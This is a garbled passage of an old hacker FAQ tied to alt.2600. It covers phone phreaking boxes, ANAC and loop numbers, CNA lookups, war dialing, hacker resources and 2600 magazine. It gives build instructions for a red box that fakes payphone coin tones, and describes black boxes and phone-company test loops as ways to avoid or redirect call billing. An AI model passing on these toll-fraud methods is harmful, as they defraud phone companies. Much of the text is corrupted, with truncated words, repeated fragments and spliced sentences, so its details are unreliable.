ingreslock      1524/tcp
tnet            1600/tcp                        # transputer net daemon
nfs             2049/udp                        # NFS File Service
irc        6667/tcp                        # Internet Relay Chat
dos             7000/tcp        msdos

# End of services.

Section B: Telephony

01. What is a Red Box?

When a coin is inserted into a payphone, the phone emits a set of tones. A red box is a device that simulates those tones, with the purpose of fooling the payphone into believing you have inserted an actual coin. The actual tones are:

Nickel Signal - 1700+2200 0.06 Dime Signal - 1700+2200 0.060s on, 0.060s off, twice repeating
Quarter Signal - 1700+2200 33ms on, 33ms off, 5 times repeating

02. How do I build a Red Box?

Red boxes are commonly manufactured from modified Radio Shack tone dialers, Hallmark greeting cards, or made from scratch from readily available electronic components.

To make a Red Box from a Radio Shack 43-141 or 43-146 tone dialer, open the dialer and replace the crystal (the largesttal component). The exact value needed is 6.502457409Mhz. Unfortunately, that crystal is not commonly manufactured. A crystal close to that value will create a tone that falls within tolerances. The most popular choice is the 6.5536Mhz crystal. When you are finished replacing the crystal, program the P1 button with five *'s. That will simulate a quarter tone each time you press P1.

03. Where can I get a 6.5536Mhz crystal?

Your best bet is a local electronics store Radio Shack sells them, but they are overpriced and the store must order them in. This takes approximately two weeks. In addition, many Radio Shack employees do not know that this can be done.

Or, you could order the crystal mail order. This introduces Shipping and Handling charges, which are usually much greater than the price of the crystal. It's best to get several people together to share the S&H cost. Or, buy five or six yourself and sell them later. Some of the places you can order crystals are:

JDR Microdevices:
2233 Branham Lane
San Jose, CA 95124
(800) 538-5000
Part Number: 6.5536MHZ< Blue Boxes still work in areas using in-band signalling. Modern phone signalling switches using ESS (Electronic Signalling S> 04. Which payphones will a Red Box work on?

Red Boxes will work on TelCo owned payphones, but not on COCOT's (Customer Owned Coin Operated Telephones).

05. What is a Blue Box?

Blue boxes use a 2600hz tone to convince telephone switches that use in-band signalling that the caller is actually a telephone operator. The caller may then access special switch functions, with the usual purpose of making free long distance phone calls, using the Multi-Frequency tones provided by the Blue Box.

06. Do Blue Boxes still work?

Blue Boxes still work in areas using in-band signalling. Modern phone signalling switches using ESS (Electronic Signalling Systems) use out-of-band-signalling. Nothing you send over the voice portion of bandwidth can control the switch.

e="blackbox">07. What is a Black Box?

A Black Box is a 10k ohm resistor placed across your phone line to cause the phone company equipment to be unable to detect that you have answered your telephone. People who call you will then not be billed for the telephone call.

08. What do all the colored boxes do?

Steal Thre
Use the electrici and programmable Call Forwarding on old 4-wire phone systems.

Drain the voltage of the FBI lock-in-trace/trap-trace.

Lineman's hand set.

Allows the calling party to not be billed for the call placed.

Phone microphone amplifier.

Supposedly shorts every fone out in the immediate area.

Emulate a true operator by siezing a trunk with a 2600hz tone.

Create a party line from 2 phone lines.

Tap into your neighbors phone line.

Use the electricity from your phone line.

Connect two phones to create a divertor.

Manipulate Traffic Signals by Remote Control.

A telephone pickup coil and a small amp use to make free calls on Fortress Phones.

Line activated telephone recorder.

Cause crosstalk interference on an extender.

Hold button.

Re-route outgoing or incoming calls to another phone.

Connect to your neighbors phone line.

Re-route outgoing or incoming calls to another phone.

Create a party line from 2 phone lines.

Trace calls, tell if the call is being traced, and can change a trace.

Emulate the Coin Collect, Coin Return, and Ringback tones.

Remotely activated phone tap.

Touch-Tone key pad.

In-use light.

AM transmitter.

Connect a remote phone line to another remote phone line.

Phone tap without cutting into a line.

External microphone.

Create line noise.

External ringer.

Create a p from 2 phone lines.

Tone generator.

Create a party line from 2 phone lines.

Telephone hold button.

Kill a trace by putting 120v into the phone line (joke).

Tap into your neighbors phone.

Make free phone calls from pay phones by generating quarter tones.

Add music to your phone line.

Cause as phone line to have poor reception.

Create the DTMF tones for A, B, C and D.

Keep the voltage on a phone line high.

Add hold, indicator lights, conferencing, etc...

Line activated telephone recorder.

Reverse the phase of power to your house, causing your electric meter to run slower.

TV Cable:
"See" sound waves on your TV.

Create a capacitative disturbance between the ring and tip wires in another's telephone headset.


Portable DTMF keypad.

Add an extension phone.

09. What is the ANAC number for my area?

How to find your ANAC number:

Look up your NPA (Area Code) and try the number listed for it. If that fails, try 1 plus the number listed for it. If that fails, try the common numbers like 311, 958 and 200-222-2222. If that fails, try the nationwide ANAC number 404-988-9664. If you find the ANAC number for your area, please let us know.

Note that many times the ANAC number will vary for different switches in the same city.

A trick to getting the number of the phone line you are calling from is to call an (800) phone sex line. Example: (800)571-8859. These systems will give you an account number, which in many cases includes the telephone number of the phone from which you are calling.

Another useful 800 ANAC number is the Duke Power Company Automated Outage System at (800)769-3766. The system will read back to you the phone number from which you are calling.

Even another 800 ANAC number is Info Access Telephone Company's Automated Blocking line at (800)568-3197. It will read back to you the number from which you are calling, and ask if you would like it blocked.

(803282-630 is another sex line that will give you (after a bit of work) the last four digits of the phone number you are calling from.

An non-800 ANAC that works nationwide is (404) 988-9664.

Please use local ANAC numbers if you can, as abuse or overuse kills 800 ANAC numbers.

NPA  ANAC number      Comments
---  ---------------  ----------------------------------------
202  958-xxxx         Dictrict of Columbia
203  960              CT (All)
203  970              CT (All)
204  644-xxxx         Manitoba
205  908-222-2222     Birmingham, AL
206  411              WA /* Not US West */
207  958              ME (All)
209  830              Stockton, CA
212  958            Manhattan, NY
213  114              Los Angeles, CA
213  1223             Los Angeles, CA /* some 1AESS switches */
213  211-2345         Los Angeles, CA /* English response */
213  211-2346         Los Angeles, CA /* DTMF response */
213  61056            Los Angeles, CA
214  790              Dallas, TX /* GTE */
214  970-222-2222     Dallas, TX
214  970-611-1111     Dallas, TX /* Southwestern Bell */
215  410-xxxx         Philadelphia, PA
217  200-xxx-xxxx     Champaign-Urbana/Springfield, IL
301          Hagerstown/Rockville, MD
305  200-222-2222     Ft. Lauderdale/Key West/Miami, FL
309  200-xxx-xxxx     Peoria/Rock Island, IL
310  114              Long Beach, CA /* on many GTE switches */
310  1223             Long Beach, CA /* some 1AESS switches */
310  211-2345         Long Beach, CA /* English response */
310  211-2346         Long Beach, CA /* DTMF response */
312  200              Chicago, IL
312  290              Chicago, IL
312  1-200-8825       Chicago, IL (Last four change rapidly)
313  200-200-2002     Ann Arbor/Dearborn/Detroit, MI
313  200-222-2222     Ann Arbor/Dearborn/Detroit, MI
313  200-xxx-xxxx     Ann Arbor/Dearborn/Detroit, MI
313  200200200200200  Ann Arbon/Detroit, MI
314  511              Columbia/Jefferson City, MO
317  310-222-2222     Indianapolis/Kokomo, IN
317  743-1218         Indianapolis/Kokomo, IN
401  222-2222         RI (All)
402  311              Lincoln, NE
403  311              Alberta, Yukon and N.W. Territory
403  908-222-2222     Alberta, Yukon and N.W. Territory
403  999              Alberta, Yukon and N.W. Territory
404  311              Atlanta, GA
404  940-xxx-xxxx     Atlanta, GA
405  897              Enid/Oklahoma City, OK
407  200-222-22ndo/West Palm Beach, FL
408  300-xxx-xxxx     San Jose, CA
408  760              San Jose, CA
408  940              San Jose, CA
409  951              Beaumont/Galveston, TX
409  970-xxxx         Beaumont/Galveston, TX
410  200-6969         Annapolis/Baltimore, MD
410  200-555-1212     Annapolis/Baltimore, MD
410  811              Annapolis/Baltimore, MD
412  711-6633         Pittsburgh, PA
412  711-4411         Pittsburgh, PA
412  999-xxxx         Pittsburgh, PA
413  958              Pittsfield/Springfiel3  200-555-5555     Pittsfield/Springfield, MA
414  330-2234         Fond du Lac/Green Bay/Milwaukee/Racine, WI
415  200-555-1212     San Francisco, CA
415  211-2111         San Francisco, CA
415  2222             San Francisco, CA
415  640              San Francisco, CA
415  760-2878         San Francisco, CA
415  7600-2222        San Francisco, CA
419  311              Toledo, OH
502  997-555-1212     Frankfort/Louisville/Paducah/Shelbyville,
503  611              Portland, OR  /* not all parts of town */
508  958              Fall River/New Bedford/Worchester, MA
508  200-222-1234     Fall River/New Bedford/r, MA
508  200-222-2222     Fall River/New Bedford/Worchester, MA
509  560              Spokane/Walla Walla/Yakima, WA
512  200-222-2222     Austin/Corpus Christi, TX
512  830              Austin/Corpus Christi, TX
512  970-xxxx         Austin/Corpus Christi, TX
515  5463             Des Moines, IA
516  958              Hempstead/Long Island, NY
516  968              Hempstead/Long Island, NY
517  200-222-2222     Bay City/Jackson/Lansing, MI
517  200200200200200  Bay City/Jackson/Lansing, MI
518  997              Albany/Scheny/Troy, NY
518  998              Albany/Schenectady/Troy, NY
602  593-0809         Phoenix, AZ
602  593-6017         Phoenix, AZ
602  593-7451         Phoenix, AZ
603  200-222-2222     NH (All)
606  997-555-1212     Ashland/Winchester, KY
607  993              Binghamton/Elmira, NY
609  958              Atlantic City/Camden/Trenton/Vineland, NJ
612  511              Minneapolis/St.Paul, MN
615  200200200200200  Nashville, TN
615  830              Nashville, TN
616  200-222-2222     Battle Creek/Grand Rapids/Kalamazoo, MI
617  200-222-1234     Boston, MA
617  200-222-2222     Boston, MA
617  200-444-4444     Boston, MA /* Woburn, MA */
617  220-2622         Boston, MA
617  958              Boston, MA
618  200-xxx-xxxx     Alton/Cairo/Mt.Vernon, IL
703  811              Fairfax/Alexandri   La Salle/Rockford, IL
817  211          Ft. Worth/Waco, TX
817  970-611-1111     Ft. Worth/Waco, TX /* Southwestern Bell */
818  1223             Pasadena, CA /* some 1AESS switches */
818  211-2345         Pasadena, CA /* English response */
818  2Y
                      /* Rochester Tel */
717  958              Harrisburg/Scranton/Wilkes-Barre, PA
718  958              Bronx/Brooklyn/Queens/Staten Island, NY
802  2-222-222-2222   Vermont (All)
802  200-222-2222     Vermont (All)
805  830              San Luis Obispo, CA
806  970-xxxx        o/Lubbock, TX
810  200200200200200  Michigan
812  410-555-1212     Evansville, IN
813  311              Ft. Meyers/St. Petersburg/Tampa, FL
815  200-xxx-xxxx     La Salle/Rockford, IL
815  290              La Salle/Rockford, IL
817  211              Ft. Worth/Waco, TX
817  970-611-1111     Ft. Worth/Waco, TX /* Southwestern Bell */
818  1223             Pasadena, CA /* some 1AESS switches */
818  211-2345         Pasadena, CA /* English response */
818  2urg/Tampa, FL
908  55?-xxxx         New Brunswick, Nxxx         Peekskill/Poughkeepsie/White Plains/
                      Yonkers, NY

416  57x-xxxx         Toronto, Ontario
416  99x-xxxx         Toronto, Ontario
416  999-xxx-xxxx     Toronto, Ontario 
514  320-xxx-xxxx     Montreal, Quebec
613  999-xxx-xxxx     Ottawa, Ontario

+61 199

United Kingdom:       

12. What is a loop?

This FAQ answer is excerpted from:

  ToneLoc v0.99 User Manual
  by Minor Threat & Mucho Maas
Loops are a pair of phone numbers, usually consecutive, like 836-9998 and 836-9999. They are used by the phone company for testing. What good do lor thinks that she just called you, and that's it! Now the phone bill will go to the loop, and your local RBOC will get the bill! Use this technique in moderation, or the loop may go down. Loops are probably most useful when you want to talk to someone her. When BOTH ends are called, the people that called each end can talk through the loop. Some loops are voice filtered and won't pass anything but a constant tone; these aren't much use to you. Here's what you can use working loops for: billing phone calls! First, call the end that gives the loud tone. Then if the operator or someone calls the other end, the tone will go quiet. Act like the phone just rang and you answered it ... say "Hello", "Allo", "Chow", "Yo", or what the fuck ever. The operator thinks that she just called you, and that's it! Now the phone bill will go to the loop, and your local RBOC will get the bill! Use this technique in moderation, or the loop may go down. Loops are probably most useful when you want to talk to someone 13 781-9996 781-9997 313 787-9996 787-3 822-9996 822-9997 313 833-9996 833-9997 313 851-9996 851-9997 313 871-9996 871-9997 313 875-9996 875-9997 313 886-9996 886-9997 313 888-9996 888-9997 313 898-9996 898-9997 313 934-9996 934-9997 313 942-9996 942-9997 313 963-9996 963-9997 313 977-9996 977-9997 313 995-9996 995-9997 402 422-0001 422-0002 402 422-0005 422-0006 402 422-0007 422-0008 402 422-0003 422-0004 402 422-0005 422-0006 402 422-0007 422-0008 402 422-0009 ALL-PREF 402 422-0003 422-0004 40209 ALL-PREF 402 422-0001 422-0002 402 572-0003 572-0004 517 422-9996 422-9997 517 423-9996 423-9997 517 455-9996 455-9997 517 563-9996 563-9997 517 663-9996 663-9997 517 851-9996 851-9997 609 921-9929 921-9930 609 994-9929 994-9930 616 997-9996 997-9997 616 ALL-PREF ALL-PREF 713 224-1499 759-1799 713 324-1499 324-1799 713 342-1499 342-1799 713 351-1499 351-1799 713 354-1499 354-1799 713 356-1499 356-1799 713 442-1499 442-1799 713 447-1499 447-1799 713 455-1499 455-1799 713 458-1499 458-1799 713 462-1499 462-1799 713 466-1499 466-1799 713 468-1499 468-1799 713 469-1499 469-1799 713 471-1499 471-1799 713 481-1499 481-1799 713 482-1499 482-1799 713 484-1499 484-1799 713 487-1499 487-1799 713 4899 489-1799 713 492-1499 492-1799 713 493-1499 493-1799 713 524-1499 524-1799 713 526-1499 526-1799 713 555-1499 555-1799 713 661-1499 661-1799 713 664-1499 664-1799 713 665-1499 665-1799 713 666-1499 666-1799 713 667-1499 667-1799 713 682-1499 976-1799 713 771-1499 771-1799 713 780-1499 780-1799 713 781-1499 997-1799 713 960-1499 960-1799 713 977-1499 977-1799 713 988-1499 988-1799 714 535-1118 535-1119 714 538-1118 538-1119 714 858-1118 858-1119 714 879-1118 879-1119 805 528-0044 528-0045 805 544-0044 544-0045 805 773-0044 773-0045 813 385-9971 908 776-9930 776-9930

14. What is a CNA number?

CNA stands for Customer Name and Address. The CNA number is a phone number for telephone company personnel to call and get the name and address for a phone number.If a telephone lineman finds a phone line he does not recognize, he can use the ANI number to find it's phone number and then call the CNA operator to see who owns it and where they live.

Normal CNA numbers are available only to telephone company personnel. Private citizens may now legally get CNA information from private companies. Two such companies are:

Unidirectory    (900)933-3330
Telename        (900)884-1212
Note that these are 900 numbers, and will cost you approximately one dollar per minute.

15. What is the telephone company CNA number for my area?

203  203-771-8080     CT (All)
614  614-464-0123     Columbus/Steubenville, OH
813  813-270-8711     Ft. Meyers/St. Petersburg/Tampa, FL

16. What is scanning?

Scanning is dialing a large number of telephone numbers in the hope of finding interesting carriers (computers) or tones.

Scanning can be done by hand, although dialing several ousand telephone numbers by hand is extremely boring and takes a long time.

Much better is to use a scanning program, sometimes called a war dialer or a demon dialer. Currently, the best war dialer available to PC-DOS users is ToneLoc .99b8.

A war dialer will dial a range of numbers and log what it finds at each number. You can then only dial up the numbers that the war dialer marked as carriers or tones.

17. Is scanning illegal?

Excerpt from: 2600, Spring 1990, Page 27:

In some places, scanning has been made illegal. It would be hard, though, for someone to file a complaint against you for scanning since the whole purpose is to call every number once and only once. It's not likely to be thought of as harassment by anyone who gets a single phone call from a scanning computer. Some central offices have been known to react strangely when people start scanning. Sometimes you're unable to get a dialtone for hours after you start scanning. But there is no uniform policy. The best thing to do is to first find out if you've got some crazy law saying you can't do it. If, as is likely, there is no such law, the only way to find out what happens is to give it a try.


It should be noted that a law making scanning illegal was recently passed i Colorado Springs, CO. It is now illegal to place a call in Colorado Springs without the intent to communicate.

18. Where can I purchase a lineman's handset?

Time Motion Tools
12778 Brookprinter Place
Poway, CA 92064
(619) 679-0303

Contact East
335 Willow Street
North Andover, MA 01845-5995
(508) 682-2000

19. What are the DTMF frequencies?

DTMF stands for Dual Tone Multi Frequency. These are the tones you get when you press a key on your telephone touchpad. The tone of the button is the sum of the column and row tones. The ABCD keys do not exist on standard telephones.

         1209 1336 1477 1633

     697   1    2    3    A

     770   4    5    6    B

     852   7    8    9    C

     941   *    0    #    D

Section C: Resources

01. What are some ftp sites of interest to hackers?   /pub/cypherpunks             /pub/cud             /mcsnet.users/crisadm/stuff/research/samples          /pub/bradleym          /pub/zzyzx           /pub/lps             /obi/Mischief/             /archives/alt.locksmithing       /users/craigb          /pc/crypt      /pub/crypt
et             /* Telecom archives */            /pub/users/patriot            /pub/doc/cud
                        /anonymous/text-files/pyrotechnics/    login: anonymous.mabell
                        /* Closed for the Summer */            /pub/crypto

Here is the list agtime in .netrc format:

login    anonymous      
password root@          

login    anonymous
password root@

login    anonymous      
password root@

login    anonymous
password root@          

login    anonymous
password root@ 

login    anonymous
password root@

login    anonymous
password root@

login    anonymous
password root@

login    anonymous
password root@

login    anonymous
password root@

login    anonymous
password root@

login    anonymous
password root@

login    anonymous
password root@

login    anonymous
password root@

login    anonymous
password root@

login    anonymous
password root@

login    anonymous
password root@

login    anonymous
password root@

login    anonymous
password root@

login    anonymous
password root@

login    anonymous
password root@

login    anonymous
password root@

login    anonymous
password root@

login    anonymous
password root@

login    anonymous

login    anonymous
password root@

login    anonymous
password root@

login    anonymous
password root@

login    anonymous
password root@

login    anonymous
password root@

login    anonymous
password root@

login    anonymous
password root@

login    anonymous
password root@

machine  theta.iis.u-tokyo.acp
login    anonymous
password root@

login    anonymous
password mabell

login    anonymous
password root@

02. What are some newsgroups of interest to hackers?

alt.2600                Do it 'til it hertz      Technology concerns for Hackers on
                        Planet Earth 1994
alt.hackers             Descriptions of projects currently under
                        development (Moderated)
alt.hackers.malicious   The really bad guys - don't take candy
                        from them
alt.locksmithing        You locked your keys in *where*?            Security issues on computer systems      Pointers to good stuff in
                        (Moderted)    Exchange of keys for public key
                        encryption systems        The Pretty Good Privacy package      A secure email system illegal to export
                        from the US
comp.dcom.telecom       Telecommunications digest.
comp.risks      Security issues of computers and
                        networks.      Discussion of Unix secty
comp.virus              Computer viruses & security. (Moderated)           Security in general, not just computers.
sci.crypt               Different methods of data en/decryption. wiretap.spies.com05. What are some World Wide Web (WWW) sites of interest to hackers?
07. What are some BBS's of interest to hackers?

Home BBS 		(303)343-4053
fARM R0Ad 666		(713)855-0261
Corrupt Sekurity	(303)753-1719

08. What books are available on this subject?

General Computer Security

Computer Security Basics
Author: Deborah Russell and G.T. Gengemi Sr.
Publisher: O'Reilly & Associates, Inc.
Copyright Date: 1991
ISBN: 0-937175-71-4

  This is an excellent book.  It gives a broad overview of
  computer security without sacrificing detail.  A must read
  for the beginning security expert.
Computer Security Management 
Author: Karen Forcht
Publisher: Boyd and Fraser
Copyright Date: 1994
ISBN: 0-87835-881-1

Information Systems Security
Author: Philip Fites and Martin Kratz
Publisher: Van Nostrad Reinhold
Copyright Date: 1993
ISBN: 0-442-00180-0

Unix System Security

Practical Unix Security
Author: Simson Garfinkel and Gene Spafford
Publisher: O'Reilly & Associates, Inc.
Copyright Date: 1991
ISBN: 0-937175-72-2
  Finally someone with a very firm grasp of Unix system
  security gets down to writing a book on the subject.
  Buy this book.  Read this book.

Firewalls and Internet Security
Author: William Cheswick and Steven Bellovin
Publisher: Addison Wesley
Copyright Date: 1994
ISBN: 0-201-63357-4

Unix System Security
Author: Rik Farrow 
Publisher: Addison Wesley
Coished information.  The only secret we learn from
  reading the book is that Sylvia Moon is a younger woman
  madly in love with the older David Stang.

Complete Lan Security and Control
Author: Peter Dav
Publisher: Windcrest / McGraw Hill
Copyright Dat A. Curry
Publisher: Addison-Wesley
Copyright Date: 1992
ISBN: 0-201-56327-4

Unix System Security
Author: Patrick H. Wood and Stephen G. Kochan
Publisher: Hayden Books
Copyright Date: 1985
ISBN: 0-672-48494-3 

Network Security

Network Security Secrets
Author: David J. Stang and Sylvia Moon
Publisher: IDG Books
Copyright Date: 1993  
ISBN: 1-56884-021-7 

  Not a total waste of paper, but definitely not worth the
  $49.95 purchase price.  The book is a rehash of previously 
  published information.  The only secret we learn from
  reading the book is that Sylvia Moon is a younger woman
  madly in love with the older David Stang.

Complete Lan Security and Control
Author: Peter Davis 
Publisher: Windcrest / McGraw Hill
Copyright Datrested in cryptography,
  this is a must read.  This may be the first and last
  book on cryptography you may ever need to buy.

Cryptography and Data Security
Author: Dorothy Denning
Publisher: Addison-Wesley Publishing Co.
Copyright Date: 1982
ISBN: 0-201-10150-5

Programmed Threats

The Little Black Book of Computer Viruses
Author: Mark Ludwig
Publisher: American Eagle Publications
Copyright Date: 1990
ISBN: 0-929408-02-0

  The original, and still the best, book on computer viruses.
  No medi here, just good clean technical information.
Computer Viruses, Artificial Life and Evolution
Author: Mark Ludwig
Publisher: American Eagle Publications
Copyright Date: 1993 
ISBN: 0-929408-07-1

Computer Viruses, Worms, Data Diddlers, Killer Programs,
        and Other Threats to Your System
Author: John McAfee and Colin Haynes
Publisher: St. Martin's Press
Copyright Date: 1989
ISBN: 0-312-03064-9 and 0-312-02889-X

Hacking History and Culture

The Hacker Crackdown: Law and Disorder on the
 Electronic Frontier
Author: Bruce Sterling
Publisher: Bantam Books
Copyright Date: 1982
ISBN: 0-553-56370-X
  Bruce Sterling has recently released the book FREE to the net.
  The book is much easier to read in print form, and the
  papeis no super hacker.  There is little or no real
  information in this book.  The Knightmare gives useful advice
  like telling you not to dress up before going trashing.
  The Knightmare's best hack is fooling Loompanics into
  publishing this gartie Hafner and John Markoff
Publisher: Simon and Schuster
Copyright Date: 1991
ISBN: 0-671-77879-X 

The Cuckoo's Egg
Author: Cliff Stoll 
Publisher: Simon and Schuster
Copyright Date: 1989
ISBN: 0-671-72688-9

Hackers: Heroes of the Computer Revolution
Author: Steven Levy
Publisher: Doubleday
Copyright Date: 1984
ISBN: 0-440-13495-6


Secrets of a Super Hacker
Author: The Knightmare
Publisher: Loompanics
Copyright Date: 1994 
ISBN: 1-55950-106-5 

  The Knightmare is no super hacker.  There is little or no real
  information in this book.  The Knightmare gives useful advice
  like telling you not to dress up before going trashing.
  The Knightmare's best hack is fooling Loompanics into
  publishing this garbage.


Subscriptions: $18/yr


Subscription Address:


P.O. Box 191826
San Francisco, CA 94119-9866

Letters and article submission address:


544 Second Street
San Francisco, CA 94107-1427

Subscriptions: $39/yr (US) $64/yr (Canada/Mexico) $79/yr (Overseas)

11. What are some organizations of interest to hackers?

Computer Professionals for Social lity (CPSR)

CPSR empowers computer professionals and computer users to advocate for the responsible use of information technology and empowers all who use computer technology to participate in the public debate. As technical experts, CPSR members provide the public and policymakers with realistic assessments of the power, promise, and limitations of computer technology. As an organization of concerned citizens, CPSR directs public attention to critical choices concerning the applications of computing and how those choices affect society.

By matching unimpeachable technical information with policy development savvy, CPSR uses minimum dollars to have maximum impact and encourages broad publicrticipation in 200 Supporting member 500 Sponsoring member 1000 Lifetime member 20 Student/low income member 50 Foreign subscriber 50 Library/institutional subscriber

CPSR National Office
P.O. Box 717
Palo Alto, CA 9y.

  • We work to dispel popular myths about the infallibility of technological systems.

  • We challenge the assumption that technology alone can solve political and social problems.

  • We critically examine social and technical issues within the computer profession, nationally and internationally.

  • We encourage the use of computer technology to improve the quality of life.

    CPSR Membership Categories
      50  Basic member                      
     200  Supporting member                 
     500  Sponsoring member
    1000  Lifetime member
      20  Student/low income member 
      50  Foreign subscriber
      50  Library/institutional subscriber

    CPSR National Office
    P.O. Box 717
    Palo Alto, CA 9

    The League for Programming Freedom (LPF)

    The League for Programming Freedom is an organization of people who oppose the attempt to monopolize common user interfaces through "look and feel" copyright lawsuits. Some of us are programmers, who worry that such monopolies will obstruct our work. Some of us are users, who want new computer systems to be compatible with the interfaces we know. Some are founders of hardware or software companies, such as Richard P. Gabriel. Some of us are professors or researchers, including John McCarthy, Marvin Minsky, Guy L. Steele, Jr., Robert S. Boyer and Patrick Winston.

    "Look and feel" lawsuits aim to create a new class of government- enforced monopolies broader in scope than ever before. Such a system of user-interface copyright would impose gratuitous incompatibility, reduce competition, and stifle innovation.

    We in the League hope to prevent these problems by preventing user-interface copyright. The League is NOT opposed to copyrigwas understood until 1986 -- copyright on particular programs. Our aim is to stop changes in the copyright system which would take away programmers' traditional freedom to write new programs compatible with existing programs and practices.

    Annual dues for individual members are $42 for employed professionals, $10.50 for students, and $21 for others. We appreciate activists, but members who cannot contribute their time are also welcome.

    To contact the League, phone (617) 243-4091, send Internet mail to the address, or write to:

    League for Programming Freedom
    1 Kendall Square #143
    P.O. Box 9171
    Cambridge, MA 02139 USA


    Founded in 1989, SotMesc is dedicated to preserving the integrity and cohesion of the computing society. By promoting computer education, liberties and efficiency, we believe we can secure freedoms for all computer users while retaining privacy.

    SotMesc maintains the CSP Internet mailing list, the SotMesc Scholarship Fund, and the SotMesc Newsletter.

    The SotMESC is financed partly by membership fees, and donations, but mostly by selling ng, cracking, phreaking, electronics, internet, and virus information and programs on disk and bound paper media.

    SotMesc memberships are $20 to students and $40 to regular members.

    P.O. Box 573
    Long Beach, MS 39560

    Section D: 2600

    01. What is alt.2600?

    Alt.2600 is a Usenet newsgroup for discussion of material relating to 2600 Magazine, the hacker quarterly. It is NOT for the Atari 2600 game machine. Len@netsys.comted the group on Emmanual Goldstein's recommendation. Emmanuel is the editor/publisher of 2600 Magazine. Following the barrage of postings about the Atari machine to alt.2600, an alt.atari.2600 was created to divert all of the atari traffic from alt.2600. Atari 2600 people are advised to hie over to

    02. What does "2600" mean?

    2600Hz was a tone that was used by early phone phreaks (or phreakers) in the 80's, and some currently. If the tone was sent down the line at the proper time, one could get away with all sorts of fun stuff.

    A note from Emmanuel Goldstein:

    "The Atari 2600 has NOTHING to do with blue boxes or telephones or the 2600 hertz tone. The 2600 hertz tone was simply the first step towards exploring the network. If you were successful at getting a tall to drop, then billing would stop at that point but there would be billing for the number alread in the bookstore. Be sure to include the bookstores name and address.

    05. We past and records of who called what were either non-existent or very obscure with regards to these numbers. This, naturally, made them more popular than numbers that showed up on a bill, even if it was only for a minute. Today, many 800 numbers go overseas, which provides a quick and free way o another country's phone system which may be more open for exploration."

    03. Are there on-line versions of 2600 available?


    04. I can't find 2600 at any bookstores. What can I do?

    Subscribe. Or, let 2600 know via the subscription address that you think 2600 should be in the bookstore. Be sure to include the bookstores name and address.

    05. Why does 2600 cost more to subscribe to than to buy at a newsstand?

    A note from Emmanuel Goldstein:

    We've been selling 2600 at the same newsstand price ($4) since 1988 and we hope to keep it at that price for as long as we can get away with it. At the same time, $21 is about the right price to cover subscriber costs, including postage and record keeping, etc. People who subscribe don't have to worry about finding an issue someplace, they tend to get issues several weeks before the newsstands get them, and they can ke out free ads in the 2600 Marketplace.

    Section E: Miscellaneous

    01. What does XXX stand for?

    TLA Three Letter Acronym
    ACL     Access Control List
    PIN     Personal Identification Number
    TCB     Trusted Computing Base
    ALRU    Automatic Line Record Update
    AN      Associated Number
    ARSB   port Evaluation and Analysis Tool
    FLT     Fairlight
    NTA     The Nocturnal Trading Alliance
    PDX     Paradox 
    PE      Public Enemy
    QTX    S!P     Supr!se Productions
    TDT     The Dream Team
    THG     The Humble Guys
    THP     The Hill People
    TRSI    T     Central Office
    COCOT   Customer Owned Coin Operated Telephone
    CRSAB   Centralized Repair Service Answering Bureau
    DDD     Direct Distance Dialing
    ECC     Enter Cable Change
    LD      Long Distance
    LMOS    Loop Maintenance Operations System
    MLT     Mechanized Loop Testing
    NPA     Numbering Plan Area
    POTS    Plain Old Telephone Service
    RBOC    Regional Bell Operating Company
    RSB     Repair Service BurSS      Special Service
    TAS     Telephone Answering Service
    TH      Trouble History
    TREAT   Trouble Report Evaluation and Analysis Tool
    FLT     Fairlight
    NTA     The Nocturnal Trading Alliance
    PDX     Paradox 
    PE      Public Enemy
    QTX     Quartex 
    S!P     Supr!se Productions
    TDT     The Dream Team
    THG     The Humble Guys
    THP     The Hill People
    TRSI    T="validcc">02. How do I determine if I have a valid credit card

    Credit cards us the Luhn Check Digit Algorithm. The main purpose of this algorithm is to catch data entry errors, but it does double duty here as a weak security tool.

    For a card with an even number of digits, double every odd digit and subtract 9 if the product is greater than 10. Add up all the even digits as well as the doubled-odd digits, and the result must be a multiple of 10 or it's not a valid card. If the card has an odd number of digits, perform the same addition doubling the even digits instead.

    03. Where can I get a copy of the #hack FAQ?

    Find it on FTP at: /pub/lps

    Find it on World Wide Web at:

    Find it with Finger at:

RETURN Click your heels twice and you will be home...

    Please send constructive feedback to
    * This document has been modified to protect the identities of certain authors, at their request - 2/11/2001